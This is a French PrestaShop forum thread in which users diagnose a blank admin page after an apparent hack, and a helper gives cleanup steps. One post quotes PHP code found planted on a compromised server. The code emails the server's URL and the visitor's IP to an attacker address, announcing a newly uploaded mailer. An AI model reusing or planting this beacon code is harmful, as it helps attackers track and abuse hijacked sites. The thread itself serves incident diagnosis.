Accès admin impossible / Page blanche !

[bigbangmoney]

Bonjour à tous,

 

Sous prestashop depuis 2 ans, notre partie front office fonctionne

sans problème, par contre la partie back office, accès admin ne

fonctionne pas, une page toute blanche, alors que ça

fonctionnait très bien depuis deux ans ! Nous n'avons rien touché,

même pas les fichiers sur le FTP...

 

Du coup accès admin impossible, retard dans les commandes, etc,

je vous laisse deviner... avez-vous une idée ?

 

Merci beaucoup.

[Eolia]

Avez-vous activé l'affichage des erreurs pour en savoir plus ?

[bigbangmoney]

Merci beaucoup, où peux-t-on activer ce mode ? Directement dans le script ?

[Eolia]

Activez l'affichage des erreurs pour en savoir plus, en modifiant cette ligne au début du fichier config/defines.inc.php :

 

define('_PS_MODE_DEV_', false);

 

par

 

define('_PS_MODE_DEV_', true);

 

Et donnez-nous l'erreur après avoir rafraichi la page

[doekia]

Sachant que le truc du moment ce sont les hacks, j'ai peur de découvrir ton message d'erreur et de voir que tu as été ajouté a un tableau de chasse

[bigbangmoney]

Super merci !

 

Voici l'erreur :

 

Warning: require_once(/home/XXXX/www/admin0/../images.inc.php): failed to open stream: No such file or directory in /home/XXXX/www/admin0/functions.php on line 29

Fatal error: require_once(): Failed opening required '/home/XXXX/www/admin0/../images.inc.php' (include_path='/home/XXXX/www/tools/htmlpurifier/standalone:.:/usr/local/php5.4/lib/php') in /home/XXXX/www/admin0/functions.php on line 29

[doekia]

donc a priori il te manque une morceau - si tu es absolument sûr de n'avoir pas touché le FTP, c'est qu'un malin t'a supprimé des bouts de ton PrestaShop

[bigbangmoney]

Ah non !! c'est ce que je redoutais ! aie aie aie !

 

Non je n'ai rien touché hier ça fonctionnait parfaitement !

 

Regardez en pièce jointe ce que me dis OVH... peut être est-ce une cause ?

 

Faut-il que je mette à jour ?

 

Merci encore.

Edited July 25, 2016 by bigbangmoney (see edit history)

[Eolia]

Envoyez-moi un accès ftp par MP, on va réparer ça^^

[bigbangmoney]

Merci Eolia MP envoyé !

 

Vraiment dégouté     

Edited July 25, 2016 by bigbangmoney (see edit history)

[doekia]

Merci Eolia MP envoyé !

 

Vraiment dégouté     

 

Tu es en de bonne mains et non la version de php n'a rien à voir là dedans

[bigbangmoney]

RÉSOLU merci beaucoup Eolia !

 

Comment fait-on pour marquer comme résolu ? Merci.

[Eolia]

Tu es en de bonne mains et non la version de php n'a rien à voir là dedans

Je l'ai quand même passé en 5.6

[Yoan Consultin Web]

Bonjour à tous,

 

@eolia pouvez-vous indiquer la méthode pour résoudre cet incident car je rencontre la même chose depuis ce matin pour l'un de mes clients.

 

Bien cordialement, Yoan

[Yoan Consultin Web]

Voici le message d'erreur obtenu uniquement sur le backoffice:

 

Warning: require_once(/home/***/www/boutique/admin546frgydm/../images.inc.php): failed to open stream: No such file or directory in /home/***/www/boutique/admin546frgydm/functions.php on line 29

Fatal error: require_once(): Failed opening required '/home/***/www/boutique/admin546frgydm/../images.inc.php' (include_path='/home/***/www/boutique/tools/htmlpurifier/standalone:.:/usr/local/php5.6/lib/php') in /home/***/www/boutique/admin546frgydm/functions.php on line 29

 

Pour info, je pense avoir été piraté car je retrouve sur la racine du serveur un fichier Index.php en supplément du index.php d'origine contenant un grande code dedans et avec le script suivant à la fin:

<?php $ip = getenv("REMOTE_ADDR");
/// Coded By Noureddine ElmGhreBi
/// Contact Me : https://www.facebook.com/Noureddine.Boumadyen?_rdr=p
/// More Toturials Visite : http://nourblog.blogspot.com/
$hostname = gethostbyaddr($ip);
$bilsmg = "Link Mailer : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$bilsnd ="[email protected]"; ///Your E4ail Here
$bilsub = "New Mailer Uploaded By Www.NourBlog1.BogSpot.Com !! $ip";
$bilhead = "From: MaileRyew";
$bilhead .= $_POST['eMailAdd']."\n";
$bilhead .= "MIME-Version: 1.0\n";
$arr=array($bilsnd, $IP);
foreach ($arr as $bilsnd)
mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message); ?>

 

Le fichier a été fait à 00h30 cette nuit donc personne n'était censé être connecté dans la nuit.

 

Si quelqu'un peut m'apporter de l'aide se serait super.

Bien cordialement, Yoan.

[Eolia]

Il n'y a pas de méthode simple.

Il faut couper votre site du web (pas maintenance, vraiment coupé donc renommage du répertoire www par exemple)

Ensuite une analyse en profondeur des 40 000 fichiers prestashop.

- Eplucher les logs et les requêtes en POST

- Controler ceux qui ont été modifiés

- Remettre ceux qui manquent

- Supprimer ceux qui ont été ajoutés- Trouver la porte d'entrée (souvent un module ou un WP pas à jour) et la corriger/supprimer

De quoi vous occuper le weekend...